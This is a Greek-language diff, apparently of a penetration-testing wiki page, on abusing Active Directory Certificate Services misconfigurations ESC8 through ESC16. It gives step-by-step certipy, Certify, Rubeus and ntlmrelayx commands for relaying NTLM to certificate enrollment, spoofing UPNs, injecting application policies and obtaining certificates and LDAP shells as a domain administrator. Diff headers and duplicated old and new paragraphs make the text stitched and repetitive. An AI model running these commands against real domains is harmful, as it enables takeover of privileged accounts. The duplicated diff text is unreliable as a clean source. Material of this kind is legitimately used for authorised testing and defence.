> Σε περιβάλλοντα όπου **έχει εγκατασταθεί το AD CS**, αν υπάρχει τουλάχιστον ένα **ευάλωτο σημείο εγγραφής ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), είναι δυνατή η **κατάχρηση οποιουδήποτε υπολογιστή με ενεργή την υπηρεσία spooler από έναν επιτιθέμενο**!
> [!TIP]
> Σε περιβάλλοντα όπου **έχει εγκατασταθεί το AD CS**, εάν υπάρχει τουλάχιστον ένα **ευάλωτο σημείο εγγραφής ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), είναι δυνατή η **κατάχρηση οποιουδήποτε υπολογιστή με ενεργή την υπηρεσία spooler από έναν επιτιθέμενο**!
Πολλές **μεθόδους εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, οι οποίες είναι διαθέσιμες μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από έναν **κατεστραμμένο υπολογιστή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσουν ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
Πολλές **μεθόδοι εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, οι οποίες είναι διαθέσιμες μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσουν ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
- Η **διεπαφή εγγραφής ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες.
- Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Πολιτική Εγγραφής Πιστοποιητικών** (CEP) Web Service και η **Υπηρεσία Εγγραφής Δικτυακών Συσκευών** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της κεφαλίδας HTTP Authorization τους. Η πιστοποίηση negotiate **υποστηρίζει και τα δύο** Kerberos και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS προεπιλεγμένα, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επεκτεταμένη Προστασία για Πιστοποίηση στο IIS, η οποία απαιτείται για την δέσμευση καναλιού.
- Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Πολιτική Εγγραφής Πιστοποιητικών** (CEP) Web Service και η **Υπηρεσία Εγγραφής Δικτυακών Συσκευών** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της κεφαλίδας HTTP Authorization τους. Η πιστοποίηση negotiate **υποστηρίζει και τα δύο** Kerberos και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για την δέσμευση καναλιού.
Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν υπογραφή NTLM**.
Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **επιβάλλουν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε:
Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε:
{{#ref}}
account-persistence.md
{{#endref}}
Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **ένας υπολογιστής που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτή την πιστοποίηση:
Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **μια μηχανή που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτή την πιστοποίηση:
{{#ref}}
../printers-spooler-service-abuse.md
@ -436,24 +436,24 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## Weak Certificate Mappings - ESC10
## Αδύνατοι Χάρτες Πιστοποιητικών - ESC10
### Explanation
### Εξήγηση
Δύο τιμές κλειδιών μητρώου στον ελεγκτή τομέα αναφέρονται από το ESC10:
- Η προεπιλεγμένη τιμή για `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`.
- Η προεπιλεγμένη ρύθμιση για `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
- Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`.
- Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
**Case 1**
**Περίπτωση 1**
Όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `0`.
**Case 2**
**Περίπτωση 2**
Εάν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`).
### Abuse Case 1
### Περίπτωση Κατάχρησης 1
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να συμβιβάσει οποιονδήποτε λογαριασμό B.
@ -481,7 +481,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
```
### Abuse Case 2
Με το `CertificateMappingMethods` να περιέχει το `UPN` bit flag (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που δεν έχει ιδιότητα `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή τομέα `Administrator`.
Με το `CertificateMappingMethods` να περιέχει το `UPN` bit flag (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που στερείται ιδιότητας `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή τομέα `Administrator`.
Εδώ, ο στόχος είναι να συμβιβαστεί το `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω Shadow Credentials, εκμεταλλευόμενοι το `GenericWrite`.
```bash
@ -513,9 +513,9 @@ certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
### Εξήγηση
Εάν ο CA Server δεν είναι ρυθμισμένος με `IF_ENFORCEENCRYPTICERTREQUEST`, μπορεί να πραγματοποιήσει επιθέσεις NTLM relay χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Εάν ο CA Server δεν έχει ρυθμιστεί με `IF_ENFORCEENCRYPTICERTREQUEST`, μπορεί να πραγματοποιήσει επιθέσεις NTLM relay χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Μπορείτε να χρησιμοποιήσετε `certipy` για να καταγράψετε αν η `Enforce Encryption for Requests` είναι απενεργοποιημένη και το certipy θα δείξει τις ευπάθειες `ESC11`.
Μπορείτε να χρησιμοποιήσετε το `certipy` για να καταγράψετε αν η `Enforce Encryption for Requests` είναι απενεργοποιημένη και το certipy θα δείξει τις ευπάθειες `ESC11`.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -555,7 +555,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
```
Σημείωση: Για τους ελεγκτές τομέα, πρέπει να καθορίσουμε `-template` στο DomainController.
Ή χρησιμοποιώντας [το fork του sploutchy του impacket](https://github.com/sploutchy/impacket):
Ή χρησιμοποιώντας [sploutchy's fork of impacket](https://github.com/sploutchy/impacket):
```bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Οι διαχειριστές μπορούν να ρυθμίσουν την Αρχή Πιστοποίησης για να την αποθηκεύσουν σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2".
Εάν η συσκευή USB είναι συνδεδεμένη στον διακομιστή CA μέσω μιας θύρας USB, ή σε περίπτωση που ο διακομιστής CA είναι μια εικονική μηχανή, απαιτείται ένα κλειδί αυθεντικοποίησης (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για να μπορέσει ο Παροχέας Αποθήκευσης Κλειδιών να δημιουργήσει και να χρησιμοποιήσει κλειδιά στο YubiHSM.
Εάν η συσκευή USB είναι συνδεδεμένη στον διακομιστή CA μέσω μιας θύρας USB, ή σε περίπτωση που ο διακομιστής CA είναι εικονική μηχανή, απαιτείται ένα κλειδί αυθεντικοποίησης (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για να μπορέσει ο Παροχέας Αποθήκευσης Κλειδιών να δημιουργήσει και να χρησιμοποιήσει κλειδιά στο YubiHSM.
Αυτό το κλειδί/κωδικός πρόσβασης αποθηκεύεται στο μητρώο κάτω από `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε καθαρό κείμενο.
@ -615,28 +615,222 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
```
### Σενάριο Κατάχρησης
### Abuse Scenario
Βρείτε μια άδεια χρήστη που μπορεί να χρησιμοποιήσει `certipy find` ή `Certify.exe find /showAllPermissions`.
Αν ο `John` έχει άδεια να εγγραφεί στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`.
Εάν ο `John` έχει άδεια να εγγραφεί στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`.
Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το πρότυπο, θα αποκτήσει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Συμβιβασμός Δασών με Πιστοποιητικά Εξηγούμενος σε Παθητική Φωνή
## Ευάλωτη Διαμόρφωση Ανανέωσης Πιστοποιητικού - ESC14
### Εξήγηση
Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου.
Η ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένα, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών προεπιλογής, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`.
Μια "ασθενής" αντιστοίχιση συμβαίνει όταν η συμβολοσειρά που χρησιμοποιείται μέσα στο χαρακτηριστικό `altSecurityIdentities` για να προσδιορίσει ένα πιστοποιητικό είναι πολύ ευρεία, εύκολα μαντεύσιμη, βασίζεται σε μη μοναδικά πεδία πιστοποιητικού ή χρησιμοποιεί εύκολα παραποιήσιμα στοιχεία πιστοποιητικού. Εάν ένας επιτιθέμενος μπορέσει να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό των χαρακτηριστικών του οποίου ταιριάζουν με μια τέτοια ασθενώς καθορισμένη ρητή αντιστοίχιση για έναν προνομιακό λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως και να προσποιηθεί αυτόν τον λογαριασμό.
Παραδείγματα πιθανώς ασθενών συμβολοσειρών αντιστοίχισης `altSecurityIdentities` περιλαμβάνουν:
- Αντιστοίχιση αποκλειστικά με ένα κοινό Όνομα Κοινής Υποκειμένου (CN): π.χ., `X509:<S>CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή.
- Χρήση υπερβολικά γενικών Διακριτικών Ονομάτων Εκδότη (DNs) ή Ονομάτων Υποκειμένου χωρίς περαιτέρω προσδιορισμό όπως ένας συγκεκριμένος αριθμός σειράς ή αναγνωριστικό κλειδιού υποκειμένου: π.χ., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (αν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στην ESC1).
Το χαρακτηριστικό `altSecurityIdentities` υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως:
- `X509:<I>IssuerDN<S>SubjectDN` (αντιστοιχεί με πλήρη Εκδότη και Υποκείμενο DN)
- `X509:<SKI>SubjectKeyIdentifier` (αντιστοιχεί με την τιμή επέκτασης Αναγνωριστικού Κλειδιού Υποκειμένου του πιστοποιητικού)
- `X509:<SR>SerialNumberBackedByIssuerDN` (αντιστοιχεί με αριθμό σειράς, έμμεσα προσδιορισμένο από το DN του Εκδότη) - αυτή δεν είναι τυπική μορφή, συνήθως είναι `<I>IssuerDN<SR>SerialNumber`.
- `X509:<RFC822>EmailAddress` (αντιστοιχεί με ένα όνομα RFC822, συνήθως μια διεύθυνση email, από το SAN)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (αντιστοιχεί με ένα SHA1 hash του ακατέργαστου δημόσιου κλειδιού του πιστοποιητικού - γενικά ισχυρό)
Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για προσποίηση εάν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής.
### Σενάριο Κατάχρησης
Η ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση.
#### Σενάριο A: Ο Επιτιθέμενος Μπορεί να Γράψει στο `altSecurityIdentities`
**Προϋπόθεση**: Ο επιτιθέμενος έχει δικαιώματα εγγραφής στο χαρακτηριστικό `altSecurityIdentities` του στοχευόμενου λογαριασμού ή το δικαίωμα να το παραχωρήσει με τη μορφή ενός από τα παρακάτω δικαιώματα στο στοχευόμενο αντικείμενο AD:
- Γράψτε ιδιότητα `altSecurityIdentities`
- Γράψτε ιδιότητα `Public-Information`
- Γράψτε ιδιότητα (όλα)
- `WriteDACL`
- `WriteOwner`*
- `GenericWrite`
- `GenericAll`
- Ιδιοκτήτης*.
#### Σενάριο B: Ο Στοχευόμενος Έχει Ασθενή Αντιστοίχιση μέσω X509RFC822 (Email)
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή αντιστοίχιση X509RFC822 στο altSecurityIdentities. Ένας επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα email του θύματος ώστε να ταιριάζει με το όνομα X509RFC822 του στοχευόμενου, να εγγραφεί ένα πιστοποιητικό ως το θύμα και να το χρησιμοποιήσει για να αυθεντικοποιηθεί ως ο στοχευόμενος.
#### Σενάριο C: Ο Στοχευόμενος Έχει Αντιστοίχιση X509IssuerSubject
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το υποκείμενο της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
#### Σενάριο D: Ο Στοχευόμενος Έχει Αντιστοίχιση X509SubjectOnly
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το υποκείμενο της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
### Συγκεκριμένες Λειτουργίες
#### Σενάριο A
Ζητήστε ένα πιστοποιητικό από το πρότυπο πιστοποιητικού `Machine`
```bash
.\Certify.exe request /ca:<ca> /template:Machine /machine
```
Αποθηκεύστε και μετατρέψτε το πιστοποιητικό
```bash
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
Επικυρώστε (χρησιμοποιώντας το πιστοποιητικό)
```bash
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
```
Καθαρισμός (προαιρετικός)
```bash
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
```
Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στο εξής: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
## EKUwu Application Policies(CVE-2024-49019) - ESC15
### Εξήγηση
Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου.
Χρησιμοποιώντας ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο.
### Κατάχρηση
Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Κάντε κλικ για να δείτε πιο λεπτομερείς μεθόδους χρήσης.
Η εντολή `find` του Certipy μπορεί να βοηθήσει στην αναγνώριση των προτύπων V1 που είναι δυνητικά ευάλωτα σε ESC15 αν η CA δεν έχει ενημερωθεί.
```bash
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
```
#### Scenario A: Direct Impersonation via Schannel
**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (which allows enrollee-supplied subject).
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
- `-template 'WebServer'`: Το ευάλωτο πρότυπο V1 με "Ο συμμετέχων παρέχει το θέμα".
- `-application-policies 'Client Authentication'`: Εισάγει το OID `1.3.6.1.5.5.7.3.2` στην επέκταση Πολιτικών Εφαρμογής του CSR.
- `-upn 'administrator@corp.local'`: Ορίζει το UPN στο SAN για μίμηση.
**Βήμα 2: Αυθεντικοποίηση μέσω Schannel (LDAPS) χρησιμοποιώντας το αποκτηθέν πιστοποιητικό.**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
```
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Αυτό το πιστοποιητικό είναι για τον επιτιθέμενο (`attacker@corp.local`) ώστε να γίνει πράκτορας εγγραφής. Δεν καθορίζεται UPN για την ταυτότητα του επιτιθέμενου εδώ, καθώς ο στόχος είναι η ικανότητα του πράκτορα.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
```
- `-application-policies 'Certificate Request Agent'`: Εισάγει OID `1.3.6.1.4.1.311.20.2.1`.
**Βήμα 2: Χρησιμοποιήστε το πιστοποιητικό "agent" για να ζητήσετε ένα πιστοποιητικό εκ μέρους ενός στόχου προνομιακού χρήστη.** Αυτό είναι ένα βήμα παρόμοιο με το ESC3, χρησιμοποιώντας το πιστοποιητικό από το Βήμα 1 ως το πιστοποιητικό agent.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
```
**Βήμα 3: Αυθεντικοποιηθείτε ως ο προνομιούχος χρήστης χρησιμοποιώντας το πιστοποιητικό "on-behalf-of".**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
```
## Security Extension Disabled on CA (Globally)-ESC16
### Explanation
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, αν η διαμόρφωση του AD CS δεν επιβάλλει την ένταξη της **szOID_NTDS_CA_SECURITY_EXT** επέκτασης σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το γεγονός με:
1. Αίτηση πιστοποιητικού **χωρίς σύνδεση SID**.
2. Χρήση αυτού του πιστοποιητικού **για αυθεντικοποίηση ως οποιοσδήποτε λογαριασμός**, όπως η μίμηση ενός λογαριασμού υψηλών προνομίων (π.χ., ενός Διαχειριστή Τομέα).
Μπορείτε επίσης να ανατρέξετε σε αυτό το άρθρο για να μάθετε περισσότερα σχετικά με την λεπτομερή αρχή: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
### Abuse
Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Κάντε κλικ για να δείτε περισσότερες λεπτομέρειες σχετικά με τις μεθόδους χρήσης.
Για να προσδιορίσετε εάν το περιβάλλον των Υπηρεσιών Πιστοποίησης Active Directory (AD CS) είναι ευάλωτο σε **ESC16**
```bash
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
```
**Βήμα 1: Διαβάστε το αρχικό UPN του λογαριασμού του θύματος (Προαιρετικό - για αποκατάσταση).**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
```
**Βήμα 2: Ενημερώστε το UPN του λογαριασμού του θύματος με το `sAMAccountName` του στοχευόμενου διαχειριστή.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
```
**Βήμα 3: (Εάν χρειάζεται) Αποκτήστε διαπιστευτήρια για τον λογαριασμό "θύμα" (π.χ., μέσω Shadow Credentials).**
```shell
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
